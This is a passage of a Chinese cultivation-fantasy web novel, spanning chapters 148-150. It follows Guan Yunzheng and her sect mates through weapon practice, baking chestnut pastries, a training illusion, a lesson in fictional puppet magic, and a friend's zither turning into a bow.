“请你喝奶茶啊,你不想尝尝吗?”关云铮朝着眼前的空气举起杯子。 祂似乎是愣了一下,片刻之后才说:“好,有机会一定。”—— 作者有话说:前两天玩嗨了哈哈哈哈,所以暂时只写了这么多(理不直气壮) 我就不做承诺了,反正写得出来我就会发的[墨镜] 大家国庆快乐捏[亲亲] 第148章 自从上次去过芥子院后, 那几个围着楚悯问卦的姑娘便同楚悯和关云铮熟络起来,武器课上见楚悯不在,一窝蜂地围着关云铮散发起自己的好奇心。 有个叫“璇玑”的姑娘估计早就想问她了, 寒暄没两句就眨着亮晶晶的眼睛凑近:“之前看你在课上用的都是剑, 怎么忽然改用刀了呀?” 其他人也连忙点头:“这刀制式也很少见,我们能看看吗?” 这会儿本就是自由活动时间, 蒲飞鸢不怎么管他们, 关云铮顺应大家的意思把霄汉递出去:“这是我从别处看来的制式,托镜溪城中一位匠人锻造的,若是你们要去,可以同我说一声,我去打个招呼。” 借她师父的面子。 “你是因为觉着刀更趁手才换的?那这剑又怎么办?”璇玑又问道。 “一起用呗,刀趁手, 但剑更懂我的心思,某些场合或可产生出其不意的效果。”摇羽如今无需出鞘也能听见外界的声音, 关云铮干脆直白地拍了一回它的马屁。 璇玑恍然:“看来是在幻境中悟出了心得?” 关云铮没把她们当做竞争对手,因此坦然道:“算是吧。” “这刀背的云纹好精细。”另一个姑娘正仔细端详, 边看边点评, “只不过刀身的形状这么独特,我竟一时想不出使刀时的样子。” 话说到这,暗示意味已相当明显。关云铮这段时日用的几乎都是刀, 已经相当顺手了, 但要她在人前表演……还是有些束手束脚。 毕竟练武场无遮无拦,这边舞刀那边也能看到,不存在低调这一说。不过…… 关云铮压下自己心头那点谋算,接过递还回来的霄汉:“那我就献丑了。” 她手腕一翻,霄汉由下而上翩然撩起, 这一下看似是剑招中的“迎风掸尘”,轻灵飘逸,意在格挡。 然而,就在刀身即将挑到与手臂齐平的高度时,关云铮的手腕猛地一沉,撩击化为一道沉猛的弧线,带着全身的力量悍然上劈! 纵然没有对手,无法知悉这一刀的威力,旁观之人也从这一劈中看出了惊人的力道。 而关云铮刀势未尽,自下而上,正是将剑招的“撩”与刀法的“劈”融于一体的变招。 她刀法灵活得仿佛演练了上百遍,此时招式再度变化,借着上一招劈斩的回旋之力,腰身一拧,霄汉随身划出一道饱满的银弧。这完全是刀法中的“大劈大砍”,尤为霸道刚烈。 璇玑等人还没顾得上赞叹,只见她的招式又变了。那记刚猛的回旋斩骤然收住,化为剑法中最为迅疾的直刺——“白虹贯日”!刀尖如一点寒星,瞬间点向前方,快得超出了众人对“刀”的认知。 那把制式古怪的刀在她手中,仿佛有了自己的生命,而空地之上似乎有一个只有关云铮看得见的敌人。方才那一直刺“落空”,她却毫不滞涩,顺势垫步上前,手臂微沉,改刺为削,刀尖沿着一个诡异的角度,在空中幽然划过——这是剑法中专攻要害的“抹”字诀,只是用刀施展,更为狠戾决绝。 关云铮眼神不变,最后一刀当空而下,没有复杂的轨迹,只是最纯粹、最快的一记劈斩。 刀尖几乎垂至地面,关云铮呼出一口气,还刀入鞘,对着周围众人点了点头。 “看来这阵子没少在嵩华那受磋磨。”蒲飞鸢不知何时过来了,将手搭在她肩头拍了拍。 围着关云铮的姑娘们见了先生连忙问好,又怕先生抓着自己练剑招,不想挨更多的打,对着关云铮好一通挤眉弄眼,比划着手势迅速溜走了。 方才那些剑与刀之间招式的转换,一看就是被逼急了的某些场合才会使出来的,很需要一番“急智”。关云铮平时在她手下,纵然是躲闪不及,也很少变招,招式一直循规蹈矩,想必是这些日子与嵩华的对练中,经历了不少“生死关头”,临阵磨出来的。 关云铮把霄汉背到身后,露出个笑来:“本就是占用任师姐的时间,受点磋磨也是应该的。” 蒲飞鸢觉着她这话拘谨,不赞同道:“你们一家人说什么两家话,嵩华虽然嘴上不说,但心里想必是很愿意你去请教的,不然她在来去峰上多孤单。” 任嵩华确实很孤单,但她并不孤独。她沉浸在自己的世界中,并不觉得人际交往是生命的必需,只在某些场合配合一番,去步雁山的屋中小坐片刻,喝一盏茶。 风声与松涛都是她剑技的见证,是她成长的见证,哪怕到了冬日,树木衰败,风声寂然,不熄鼎也始终和她一样,在来去峰顶恒久不变。 她对戚寻月没有什么了解,总觉得那样温和,看起来能包容一切的人,许多时候或许也是孤单的,甚至孤独的。 任嵩华或许真的很像她的师父。 “嗯,总之日后我还会多去叨扰任师姐的。”她抬起头来说道。 蒲飞鸢也点点头:“对了,你掌门师叔托我给你带话,说午后的术法课你不用去,课后他有些事要同你说。” 有事要说?关云铮有些疑惑,转而想起这次幻境中用到的刻印和锁灵阵,很快又了然道:“好,多谢先生。” 蒲飞鸢揉了一把她的脑袋,走去别的弟子身边答疑了。 **** 下午没课,但楚悯上午学了乐器,下午的术法课有时间,自然是要去上的。关云铮嫌一个人无聊,索性几口扒完午饭,趁着午饭时间没结束,满山找步雁山的踪迹,找到后就问能不能让小悯陪她一起翘课。 步雁山正凑合吃了两口东西往学堂走,闻言有些哭笑不得:“怎么还要人陪?” 今日步雁山不在饭堂,关云铮估摸着他没吃上什么好的,殷勤地从乾坤袋里摸出一碟点心,塞进他手里,好好的请求被她搞得像一场贿赂。 她分析得头头是道:“蒲先生说您有事找我,我猜大约是上次幻境中刻印和锁灵阵的事,正好我和小悯还能将此事复盘一番,待到课后您来了,还能给您减轻点负担。您说对吧,小师叔?” 步雁山拿起块点心咬了口,无师自通地学会了“复盘”的用法:“对,但为什么不提小筠和叶泯?他们不也能和你一起复盘吗?” 关云铮仿佛就等着他说这话,立刻接话道:“人来得太不齐,岂不显得我们是恃宠而骄吗,这样您多不好做人。” 步雁山险些被点心噎着。 关云铮变戏法似的又拿出一杯桂花茶塞他手里:“小师叔您慢慢吃。” 在她言语和物质双重攻势下,步雁山终于没招似的一弯眼睛,笑着说道:“好,答应你就是,同小悯复盘去吧。” “耶!小师叔您真是人帅心善!”关云铮原地蹦了蹦,又脱口而出一句步雁山没听过的词。 步雁山直觉是什么拍马屁的好词,笑眯眯地应下了:“也多谢云崽的点心和茶。” 关云铮收买人心到位,同步雁山暂时告别,美滋滋地跑回苍生道院了。 李厨灶台里的火应该还没熄,她得趁着这时间给下午做点吃的喝的,不能坐在院子里干聊天。 她前脚刚走,后脚任嵩华就从来去峰上落了下来,裁冰被她收回鞘中时,剑身上那层薄薄的冰霜刚化成水,在地上留下了几滴浅淡的水渍。 步雁山将装着点心的碟子往她面前一递:“云崽给的,尝一块?” 这动作来得猝不及防,任嵩华差点下意识后退,反应过来后生生止住了动作,抬手拿了一块样式精巧的点心。 “好吃吗?”步雁山关切道。 任嵩华辟谷许久,对食物的味道不甚关心,自然也不太会点评。但手中这块点心有股淡淡的甜味,要到快咽下去才能品出来,入口时几乎只有一股荷花的清香,应当算是很好吃的东西。 这样想着,她点点头:“好吃。” 步雁山也赞许道:“没见过这个式样的,估计不是山下买的,李演不会做这么精细的吃食,想来是云崽亲手做的。” “也不知道就这么一点时间,是怎么做出这般精巧的点心的。”步雁山看着手心花似的点心叹了口气。 “午后不必上术法课,应当能补上。”任嵩华十分直白地说道。 步雁山笑了笑:“也对,估计就是要给自己开小灶,又想带着朋友尝尝,才跑来让我许小悯也不用上课的吧。” “另两个呢?”任嵩华问道。 “另两个被她押作人质了,没得吃咯。”步雁山将没吃完的点心端在手里,又把喝干净桂花茶的杯子随手放入乾坤袋中,“既然你从峰顶下来了,不如去饭堂那边看看,在研究什么好吃的?” 吃完了一块点心的任嵩华犹豫一瞬,颔首:“好。” **** 任嵩华到时饭堂里很是热闹。 谭一筠和叶泯要上课,不久前刚走,苍生道师门的众人却都没事要做,被关云铮指挥着在饭堂中忙碌。 李演看上去很想帮忙,但被关云铮强势地按下了:“你就等着吃吧李厨,又不是劳碌命,怎么这么歇不住呢。” 李演倒是没有劳碌命,但他对关云铮整日究竟为何这般有精力感到好奇,忍不住问道:“你不是上午才练了刀,哪来这么多力气,还要研究新的点心?” 关云铮掰着手指同他解释:“酥皮是大师兄帮着揉的,馅儿是师姐和的,火是三师兄烧的,下锅是御物术操纵的,我也没出什么力呀。” 她甩了甩并不多酸的胳膊,半真不假地嘀咕:“上午璇玑她们围过来说要看我使刀,用了几招胳膊都酸了,只好抓师兄师姐们帮忙了。” 楚悯一上午也没少被苏逢雨磋磨,此刻捧着杯子坐在一边,感同身受般地点点头:“璇玑她们真的很热情。” 热情得令人难以招架。 “再说了,我也不是那种累了还会硬撑的人吧,李厨你是不是对我滤镜太厚了。”关云铮瘫在桌边问道。 “滤镜?”李演皱眉,“这又是什么意思?” 关云铮伸手指了指不远处光坐着不干活的章存舒:“就比如你看师父,可能总是不顺眼,这就是坏的滤镜;你看我,就觉得我累了还会为大家着想,不顾自己,这就是好的滤镜。” 李演懂了:“那是你师父应得的。” “噗。”关云铮被逗笑,一滩的形状差点维持不住,笑得整个人都颤动起来。 任嵩华在门外站了许久,此时才进门。早就察觉到她所在的章存舒率先抬头,随后众人陆续转过头看向她。 关云铮瞬间就不瘫了,从桌边窜了起来:“任师姐来得正好,点心快出炉了!” 在灶边等候许久的闻越立刻兴奋道:“真的?还有多久?” 关云铮低头看了眼桌上被她当做秒表的将隐,见最上层轮盘那被她做了记号的“齿”已经走过了一段距离,确实到了点心出炉的时候,连忙凑到灶边,和江却合力将那“烤炉”抬了出来。 烤炉也是她画了图纸找林晗做的,因为要得急,图纸又抽象,当天差点被林晗拿着铁锤追着打。 烤炉一露面,一股浓郁的香味就混着淡淡的油香在饭堂中散发开来,众人没闻过这个味道,但好歹参与了制作过程,也知道关云铮究竟是要做什么,一时都好奇道:“这就是板栗酥?” 其实这个世界未必没有板栗酥,但这年头的板栗酥大约更接近“酥”,是没有皮只有“馅儿”的点心,关云铮更想做的是带酥皮的馅饼。 她点了点头,小心地揭开烤炉的盖子,操纵着御物术,小心地将蒸腾着热气的点心端出来,放在长桌上。 “大家尝尝?”说完这话,她又回过身,将灶边另外一口锅“移”了过来,“这是栗子烤奶,杯子在桌上,大家自己倒。” 闻越自从听关云铮说她要研发新的点心,中午便没吃多少,闻言先给自己舀了一杯烤奶,又不怕烫似的抓了一块栗子酥。 大概是真有饭灵根在身,古代这样的环境,竟然真给她开出酥皮来了,她还以为会变成死面呢。 关云铮掰开一块栗子酥,发觉里面的馅料竟然也在理想状态,顿时整个人都飘了。 这就是!做饭的神! 开玩笑的。 刚出炉的点心实在太烫,她吹了好几次才敢把一小块送入口中。 几秒后。 关云铮:此时应有中华小当家配乐。 比起她自夸但依旧收敛的表情,闻越已经吃得两眼放光:“云崽,这个栗子酥……太好吃了!又香又软,这个栗子烤奶也是又香又甜!” 关云铮谦逊地朝他点点头,实则心里已经自动播放起赌神的背景音乐。 真厉害呀,关云铮—— 作者有话说:真的很喜欢写师门日常[可怜] 最近国庆,更新就不卡点了,下一章会尽快写的[亲亲] 第149章 关云铮骤然向后发力, 一脚跺断了一根足有少年手腕粗的竹子,同时旋身一捞,没有武器的右手已经将这截竹子拿在了手里。 眼见长度太过, 她又毫不迟疑地抬起膝盖, 将那竹子人为掰断,留下最坚固的一截, 两头带着鱼死网破般的尖茬——看起来像个捅进拔出时, 能带走一块肉的利器。 竹林中忽然吹过了一阵风,吹得对面那人一阵身不由己的哆嗦。 本以为缴了她的武器就能占据上风,没想到这毛都没长齐的小丫头竟然还会就地取材! 关云铮却没给他太多伤春悲秋的时间,身形迅捷似电,呼吸之间就掠至他眼前,那断竹在她手中趁手无比, 飞快划过他的脖颈,一捧热血当即泼洒而出, 成了道红配绿的绝景。 “你……”颈动脉大出血容不得太多的遗言,那人只吐出一个怨恨的音节就轰然倒地。 关云铮随手把染了血的断竹一扔, 又对着尸体身后的竹林招了招手。 两道迅疾的破空声当即传来, 一把样式古朴的剑先露了面,紧随其后的是把制式少见的刀——正是摇羽和霄汉。 她把一刀一剑都背在身后,这才对着身后某处说道:“打完了, 出来吧。” 楚悯、谭一筠和叶泯三人从空气中现了身, 原来竹林中有一处小型结界,方才关云铮与那人打斗时,他们便待在那结界之中。 此次幻境与上次相比还要更简单一些,没有太多人心之上的弯弯绕绕,基本都是直白的打斗, 与术法和阵法的灵活运用。 自然,其中也少不了符咒。 关云铮对此还总结了一番:“我懂——大概就是高考前的模考嘛,恢复信心用的。” 两个词没一个听得懂的。 面对着三脸疑惑,她又习惯性地中译中:“就是大比幻境之前,怕我们太过紧张,特地捏了个简单的给我们练手。”她说完这话又嘀咕了一句,“不过这好像不太像师父的风格,难道是掌门捏的?” 作为跟着步雁山学了两个多月阵法的弟子,谭一筠心有戚戚般摇了摇头:“我看未必,掌门看着慈眉善目,实则很有点心狠手黑的意思。” 叶泯佯作惊慌:“这是能说的吗?水镜会把这些话全秃噜出去吧?” 楚悯气定神闲地将月下逢收了起来,见那古琴化作光团消失在掌心,说道:“大比在即,掌门怕是也没空来看水镜。” 这话倒是没说错。仙门大比向来隆重,正式比试前的两个月就得开始筹备一应事宜,步雁山作为归墟掌门,面对这样大的场合,自然首当其冲。 关云铮下意识在脑海里补了一句:此处首当其冲是正确用法,因为没人愿意操办这破事,步雁山当真受了不少苦。 归墟全体忙着筹备事宜,故而这次幻境之后再没有别的幻境了。虽然知道可能是信心考,但关云铮还是觉得怪不习惯的,活像是被自家师父设计的难度PUA了。 不过也不能说这次幻境全无意义。 对比之前几次需要他们统筹全局的幻境,这次的幻境更像是一关又一关打怪的叠加,考的是他们在实战中对于各类知识的掌握与运用。 而且考得非常广泛,并不只对某人特攻。譬如关云铮更擅长刀剑的运用与体术,但此次幻境她动手的机会反而不多,更多时候她都在钻研阵法与术法在战斗中的使用。 而谭一筠作为小队中的阵法担当,这次也被迫拿子不语当了好几回“武器”,回旋镖似的击中了不少人的要害。 叶泯体术不精,但鞭子始终在身上,这次或是主动或是被动,用鞭子打了好几场架。他甚至还被迫用上了几次摆设似的陶埙,半吊子音修被赶鸭子上架,反而没怎么用上近日来得心应手的符咒。 至于看起来最为手不能提肩不能扛的楚悯……她成了个彻头彻尾的指挥和护法。 琴音已经有退敌之能,不论是步雁山还是章存舒,想来都不是很愿意楚悯真的上阵对敌,还是没给她安排太多动手的场合,多数时候,她只需要待在其余三人身后,为他们的行动保驾护航。 这个位置看起来毫不费力,却是灵气和五感调用得最频繁的,因为她得注意每个同伴的状态,每个人的安危。 如果关云铮杀上头了冒进,她就得用琴音把人“喊”回来;如果叶泯对敌不够自信的毛病又犯了,她就得弹一支曲子来强心;至于谭一筠…… 阵法与琴音的配合在这次幻境中达到了空前的高度,琴音落下的地方必有阵法,阵法铺就的角落定有琴音加持。 或许是体内金丹流转,几场架下来,按理来说楚悯是消耗最大的一位,却也是精神最好的一位。 因为能够清楚地看见每位同伴究竟有多么大的进步,这对于少言的楚悯来说,是种难得的慰藉。 这一场架三人虽待在结界之中,外界无法察觉他们的存在,但关云铮身上脚下还是有阵法加持的,只不过楚悯的琴音传不出结界,没能发挥作用。 原本她还想坚持一番,被同伴一迭声地要求,只好老实待在结界中调息——毕竟消耗了那么多灵气。 这次幻境中关云铮杀了不少人,她在幻境中杀人一般没什么心理负担,因为知道不论是章存舒还是步雁山,都不会设置“可怜之人必有可恨之处”这种环节,让她在杀人的时候动些没意义的恻隐之心。 立场问题是不足以关云铮拿起武器的,因为她也不能保证自己的立场就是绝对的正确。但幻境中遇上的人,多半都是些不管用什么标准来衡量都是渣滓的货色。 这也是幻境与现实大相径庭的地方。 现实中的人非黑即白的少,混迹灰色地带的多,很多人过得浑浑噩噩,出了门穿的是畜生皮,归家时人皮已经换好,有自己的幸福人生,却会在外面剥夺其他人的幸福与生命。 这种人恨也恨不痛快,杀也杀不干脆,关云铮偶尔想想便觉得头痛万分,默默在心里祈祷未来千万不要碰上。 她浩瀚的观影史中曾看过一个角色,作为诈骗犯害得许多家庭家破人亡,但因为官商勾结,没蹲几年监狱就被调包,逃离后组建了自己的家庭。 那之后的几年他疼爱自己的妻女,甚至看起来像个改邪归正的好人。主角之一作为当年的受害者,拿着刀冲进他家时,他的妻女甚至跪下来祈求他能放过那个诈骗犯。 到这里仍然是现实中可能会发生的事,但那诈骗犯的屋外忽然燃起火光,他连滚带爬地跑出屋子,连陷入火场的妻女都抛之不顾,因为外面的火光中,有他装作金盆洗手时埋下的无数纸币。 多么讽刺,多么解恨。 要是现实中所有的恶人都能这样就好了,伪善的面具之下,是比曾经罪行更为面目可憎的一张脸。 “在想什么?”幻境中的场景许久未变,想来是快要消散了,楚悯见她半晌未动,走近问道。 关云铮如实答道:“在想现实中的方竞甫,究竟是个怎样的人,来日若是遇到他,又是什么样的面孔。” 他可千万要是个彻头彻尾的人渣啊。 **** 操持大比虽然令步雁山忙得脱不开身,但日常的术法课还是得上。归墟倒不是没有能替代他的人,只是多数人都没有他这样好的脾气,也没他了解这帮弟子的秉性,熟悉当下的进度。 众先生心有余而力不足,只能帮着苦命的掌门分担一点大比操持过程中的杂事。 章存舒则揽下了给谭一筠开小灶的活。 得知此事时余下三人脸上的神情都很是怜悯,仿佛谭一筠从此落入贼手,再得不到安宁。 经过这四次幻境与这将近一年时间的相处,谭一筠对章存舒的行事作风也有了些了解,单就论坑弟子这件事上,他就能够和谭一筠的亲师父兰珏分庭抗礼。 真是糊涂了,分庭抗礼是这么用的吗?算了不管了。 他早该知道的,师父推荐来的地方能有什么好人,不把他往死里折腾都不错了。 谭一筠悲哀地想着,认命地往章存舒的院子走。 关云铮如今仗着有人开小灶,时常胆大包天地翘课,苏逢雨又正好有事下山,楚悯也落得清闲,两人打算结伴前去,看看谭一筠即将受到怎样的磋磨。 唯一还打算正经上课的叶泯顿时也不干了,身体虽然还在往褚老那边走,心已经跟着两人飞走了,嘴上还纠结着:“不同褚老打声招呼就翘课是不是不太好?” 关云铮停下脚步,佯作思考状:“确实。” 她完全没看出叶泯眼里对看热闹的期盼似的:“褚老这样资深的长老给你开小灶,你还不珍惜,是不是该反思一下。” 叶泯到底是个老实孩子,顿时脸都皱成一团了,虽然很想看谭一筠的热闹,但还是乖乖往学堂的方向走了。 谁料他刚一转身,站在他身后的关云铮和楚悯便一同笑起来。 “同你说笑的,褚老也在章先生的院子里,去那边也不妨碍你学符咒。”楚悯解释道。 叶泯脚步一顿,飞快转过身,脸上再无失落,全是对看同伴热闹的兴奋:“怎么不早说,走走走!” 即将被围观的谭一筠正在学傀儡术。 章存舒将术法名说出口时,他还以为自己精神过度紧绷幻听了。因为傀儡术实在是太高阶的术法了,步雁山撰写的术法录中甚至没有收录此术,想必在将来的大比中,是完全没机会派上用场的。 但章存舒指点他人时显然有一套自己的章程,只是这玩意儿写作章程读作信马由缰、随心所欲,谭一筠听了没两句汗都快下来了。 什么叫“虽被一些仙门称为邪术、禁术,但学一学也未尝不可”? 什么叫“选择傀儡时务必选择心智更不坚定的活物”? 天爷,这是要让他当个邪修吗?怎么越听越不对了?! 褚老来得比他们开课略晚一些,一跨过门槛就听见这么两句大逆不道的话,顿时笑骂道:“存舒,你都多大了,还说这种话吓唬孩子?” 褚老一头白发,不论是在普通人中,还是在当今修士之中,均已是高龄,是归墟余下所有先生们的长辈,凌风起就算常被称作长老,见了他,那点岁数也是不够看的。 他一露面,一直存心逗谭一筠玩的章存舒果然收敛了不少:“褚老,我逗他玩呢。”他看向坐在对面的谭一筠,“真吓着了,小筠?” 谭一筠一脸麻木:“就当是修炼心性了。”毕竟他自家师父也没少用这损招。 关云铮三人不知何时过来的,此时忽然从月洞门后露出三个层叠的脑袋,中间的脑袋先说了句风凉话:“我还以为师父你真要教呢,还想听听究竟怎么用。” 祖宗诶,你师父敢教我都不敢学。 最下面的脑袋颇为惋惜:“先生当真不教了?” 最上面的脑袋理性发言:“傀儡术是否为邪术也要看被选做傀儡的究竟是什么,若违逆的是活人的自主意志……” 章存舒摆了摆手:“自然不学那种,只说最简单的。”他朝那三个脑袋招了招手,“过来,正好一起听了。” 三人一走近,他便抬手画了个简易的空间扩展阵法,将小院又扩大了一倍,坐在桌边说道:“有时候我们学这些所谓的‘旁门左道’,不是为了自己使用,而是为了在他人使用时得以勘破,并终止。” “譬如幻境?”关云铮举一反三道。 章存舒点头,继而又笑:“幻境怎么算旁门左道了?” 关云铮闻言一摊手:“您就说您捏的幻境是不是对我们造成了伤害,是不是些许违逆了我们的主观意愿?” 章存舒说不过她,抬手倒了盏茶放到她手边:“是是是,这次幻境你们不是表现得很好吗,这次应当也不难吧?” 叶泯点点头:“倒是没有先前几次勾心斗角来得费力,直白的打打杀杀更轻松些。”不过这次幻境也不算是完全的“信心考”,他还有些许疑虑,“只是先生,您让云崽用阵法和符咒代替武器,让我用音律和武器代替符咒,让谭兄多用武器而非阵法,那小悯呢?” 虽然这次的小灶是为了谭一筠开的,但既然人来得这么齐,就万没有不给其他同伴提点几句的道理,是以谭一筠也跟着问道:“对,那小悯呢?” 章存舒没有立刻答话,反而看向了话题中心的楚悯。 谁料楚悯竟弯起眼睛笑了笑:“既然如此,那就先说一说我的变化吧。”—— 作者有话说:这章是节前太忙字数不够的补更,节后估计也会忙起来,争取最近多更吧,要是节后少了大家就原谅一下这个菇[可怜] 猜猜小悯发生了什么样的变化呢[墨镜] 第150章 楚悯说完这话后抬起手, 只见熟悉的光团出现在她掌心,本以为月下逢会随之现身,谁料出现的竟然是……一把弓?! 关云铮看着那光华流转几乎与古琴一模一样的弓, 有些迟疑:“这是月下逢?” 只见那弓身如同弦月, 散发出幽蓝的光,弓弦是隐没的, 但凑近了又仿佛能听见它在风中隐隐的震颤声。 楚悯迎着同伴们半是惊讶半是震撼的目光点了点头:“它是月下逢。” 谭一筠已经顾不上去想, 那之后或许要折磨自己的傀儡术了,被惊得抛出了一连串的问题:“怎么变成弓了?何时变成弓的?还能变回琴吗?” 关云铮连忙抬起手示意他打住:“你能不能收着点。” 谭一筠忙点头,安分了几息,又重新问了一个他最关心的问题:“弓在这,弓弦和箭呢?” 只见楚悯将那弓拿在手中抬高,另一手往那弦月之中一搭—— 一声几不可闻的嗡鸣, 弦月两端之间竟凭空出现了几根同样幽蓝的弓弦! 竟还正好是月下逢琴身上的弦数! 太多相似的特征,这下众人不信也得相信, 月下逢好好一把古琴忽然变成弓了。 楚悯另一手搭弓,只见一簇光, 不对, 应该说是一簇“律”,凝聚在了她与弓弦相触的指尖,随着她拉动弓弦的动作, 倏地被她送了出去! 关云铮在这一瞬间意识到了月下逢变成弓的关键:“你能具象‘律’了?!” 方才那一簇似光而非光的东西, 在接触到弓弦时明显发出了一阵微弱的声音,若她没听错,那分明是十分短促的乐声! 光怎么可能有乐声?而结合这段时间楚悯的修炼经历来看,带有乐声又与月下逢相关的,关云铮只能想到那存在于万事万物之中的“律”了。 可是“律”不该是无形的吗?怎么忽然…… 章存舒适时地打断了他们的惊诧:“这便是小悯在这次幻境中的进步, 我也只是从她最后一次指挥中窥见了一点端倪,因为尚且不能确定,所以让小悯先别告诉你们。” 他又想起什么似的,补充道:“不过你们并非第一批知道的人,第一个知道的是苏修士。” 当时她仿佛察觉到了什么似的,从自己的院子中来到练武场上,找到章存舒,指明自己要看楚悯所在的幻境。 待看到楚悯在幻境中使用月下逢的情形时,她瞬间便有了这个猜测。 “鹧鸪山中灵气旺盛,新生乐器大多诞生时便有自己的灵智,许多乐器并不拘泥于一种形式,会随日后主人的心意而变,变成武器倒也不是不可能。”彼时苏逢雨是这样说的,只是她还没等到最终结果便下山忙自己的事去了。 叶泯已经惊呆了:“我到底是不是鹧鸪山的……”为什么他对这些事一无所知似的。 “新生乐器脾气都大得很,你那陶埙估计看你十天半个月都不用它一次,也就懒得变了。”章存舒十分不留情面地揭穿道。 叶泯……叶泯汗颜。 “我记得月下逢在遇见小悯之前,也已经成为新生乐器很久了吧,那时候见了谁都不搭理,是主动飞到小悯手里的。”关云铮回忆着楚悯那时同她说的细节。 叶泯默默把头又垂下了几分,这些细节还是他告诉小悯的呢。 “总之,这事是件大好事,值得把你们一起叫过来宣布。”章存舒拍板道,“只不过现在好事说完了,该说点你们不爱听的了。” **** “傀儡术的原理很简单,灌注一部分灵气在活物上,借它的眼看外界,操控它的行动。”章存舒说道。 关云铮不吃他这套,面无表情地接话:“原理简单,实际又如何?” 她做大学物理实验的时候也觉得原理很简单,结果被双缝衍射和示波器折磨得差点不及格。 见骗不过她,章存舒也没急着继续谜语人,只伸手从乾坤袋里摸出个小木盒。 “护山大阵里没什么活物,我也不能拿栖霜和灵犀给你们做示范,便在山下抓了个小玩意。”章存舒一面打开盒子一面说道。 叶泯若有所觉:“蛐蛐?” 余下三人顿时将目光看向他。 叶泯心虚地移开些目光:“我在家中常见人用这样的盒子装蛐蛐,斗蛐蛐玩。” 三人瞬间又将目光投向了章存舒。 被视作“纨绔”的章存舒随口给自己解释了一句:“许多年没玩过了,只是这盒子是幼时玩伴送的,一直带在身上而已。” 因着这话,思绪本已经飞到“斗蛐蛐”上的关云铮又将视线落在了那木盒子上。 盒子大约成人半掌的直径,正好拿在手里的尺寸。她对木头的类型不太了解,但看这颜色和样式,总觉得不是什么寻常的杉木松木,看着像什么考究的……檀木? 用檀木做蛐蛐盒虽然听起来很骄奢淫逸,但一想到闻越之前说过,眼前这位年少时甚至会当街抛洒金叶子,顿时又觉得檀木蛐蛐盒合理起来了。 这万恶的有钱人。 话题被章存舒自己岔了一下,他也没在意,没有人问,他也不往下解释,自顾自开了盒子后将那蛐蛐捏出来,瞬息之间一道灵气已经打在了它身上。 那蛐蛐原本要蹦,一道灵气下去,瞬间老实了,呆滞得像个标本。 “傀儡术既是术法,也算符咒,要想术式起效,需得画下有效的符文。”他说着话,用指尖从茶杯里引了些茶水,在石桌上游走起来。 修为若是到了一定境界,符文与载体是没有太多讲究的,纵然用来画符的是片刻之后便会蒸发的水,也能发挥出应有的效力。 符文很快画成,章存舒一提手腕,那串水写的符文便从石桌上“游”了起来,众人刚看清它的尊容,便见它在众目睽睽之下化作了一道光,没入了那蛐蛐的身体里。 那蛐蛐当即迈开了腿,向着叶泯放在石桌上的手爬了过去。 虽然知道蛐蛐本来就可以爬,但关云铮见过的几乎都是弹着走的,而且不会走得这样安静,多半会发出点声音。 大概是叶泯方才说过斗蛐蛐的事,章存舒觉得他不怕这小虫,于是操纵着它展开翅膀,落在了叶泯的掌心。 其实直到此刻,傀儡术的作用都没能得到很明显的展示,关云铮目不转盯地盯着那昆虫,思忖着章存舒接下来会怎么做。 ——只见那蛐蛐忽而低下头,用两条细长的触须在叶泯的掌心里划动起来。 虽然秉持着庄重的学术精神,一直在努力克服对于虫子的抵触心理,但关云铮此刻还是回想起了目睹生理老师徒手杀蟾蜍的不适感。 碰到手了啊啊啊! 叶泯适应良好,除了有些痒没什么别的感觉,片刻之后忽而一愣:“它在我手心写字?” 像是为了验证他的猜想,那蛐蛐停止了触须的摆动,又改为用一条腿左右划动起来。大概是虫类的足大多会对称行动的缘故,这单腿划拉的画面看起来甚至有点滑稽。 “写的是……泯?我的名字?”叶泯辨认了一会儿才说道。 章存舒点点头,抬手收回了自己的灵气。 那蛐蛐重获自由,发觉自己竟然停在人的掌心,“大惊失色”之下一蹬后腿蹦下了石桌,张开翅膀飞走了。 关云铮在它张开翅膀的一瞬间忍不住回想了一番自己的房门有没有关严。 没办法,对于一些会飞昆虫的恐惧是扎根于血脉里的。 “这类活物能做的有限,若是能驱动更大些的,能做的事也更多。”蛐蛐跑了,章存舒将那盒子随手盖上,又塞回了乾坤袋里。 本该接着讨论傀儡术,关云铮的思绪却忽地走了个岔:师父的乾坤袋里会有多少“幼时旧友”送的东西呢? 上次除夕夜里去朝安,师父只字不提自己在朝安的家,是因为父母家人已经不在世上了,还是……有什么不想提及的龃龉? 但他吃穿用度仍旧十分阔绰,家境想必不曾落败,如今的章家又是谁在统理? 那个木盒的开启就像是师父的过去漏出了一道微小的缝隙,只是她才回过神,那道缝隙便消失了。 **** 傀儡术不是什么一日即成的简单术法,章存舒说完了好消息,又教完了符文和灵气的灌输,自觉已经仁至义尽,端着茶杯溜走,尥蹶子不干了。 叶泯学得晕头转向,刚想休息,又被一旁等候已久的褚老薅走,继续传他符咒知识,一张脸顿时皱成了苦瓜,不敢怒也不敢言。 侥幸逃过一劫的另外三人连忙起身躲回了关云铮的小院,坐下后又催促着,让楚悯拿出月下逢来观赏。 “要如何实现两种形态之间的转换?”谭一筠问道。 “随心而动?”关云铮凑近了点,想看清楚变幻的过程。 楚悯点点头,伸出手来在弓弦上轻轻抚过。 只见那弦月状的弓身流水般地拉直变长,弓弦也随之变化,几息之后,那弓就在他们的眼皮子底下变回了琴的模样。 近距离目睹了大变活琴,关云铮忍不住喃喃:“精彩。” 虽然早有准备,但谭一筠也看呆了:“鹧鸪山的新生乐器都这么玄妙?” 那叶泯的陶埙怎么看起来灰扑扑的,平时吹个曲子都仿佛漏音? “或许与我金丹期的修为也有些联系?”楚悯不甚确定地说道,“结了丹之后,体内灵气的流转比往日快了许多,与外界灵气的互通也变得更畅通无阻了,大概仍需有足够多的灵气供给,才能实现这样的转变吧?” 倒也是,不推一把,小球只会在摩擦力足够大的坡上待着,重力势能再多,也不会转变成动力势能的。 关云铮以不入流的物理水平做了个比喻,反正牛顿已经作古了,她已经穿越了,乱说也没人会纠正。 “箭只能是具象化的‘律’?‘律’真的有杀伤力?”谭一筠又问道。 “要看是什么的‘律’。”楚悯抬手在空中抓了一把,月下逢随即倾泻出一段乐声,“东风和北风就是不同的‘律’,东风和缓,北风便萧瑟,风若夹着雪,未尝不能将人的脸割出血痕。” “这下真是六边形战士了。”关云铮肃然道。 “六边形战士?”谭一筠和楚悯发出异口同声的疑惑。 “小悯如今既能在我们后方提供助力,也能为我们指点战局,甚至还能借‘律’发起攻击,简直面面俱到,怎么不算六边形战士?”关云铮毫不吝啬自己的溢美之词。 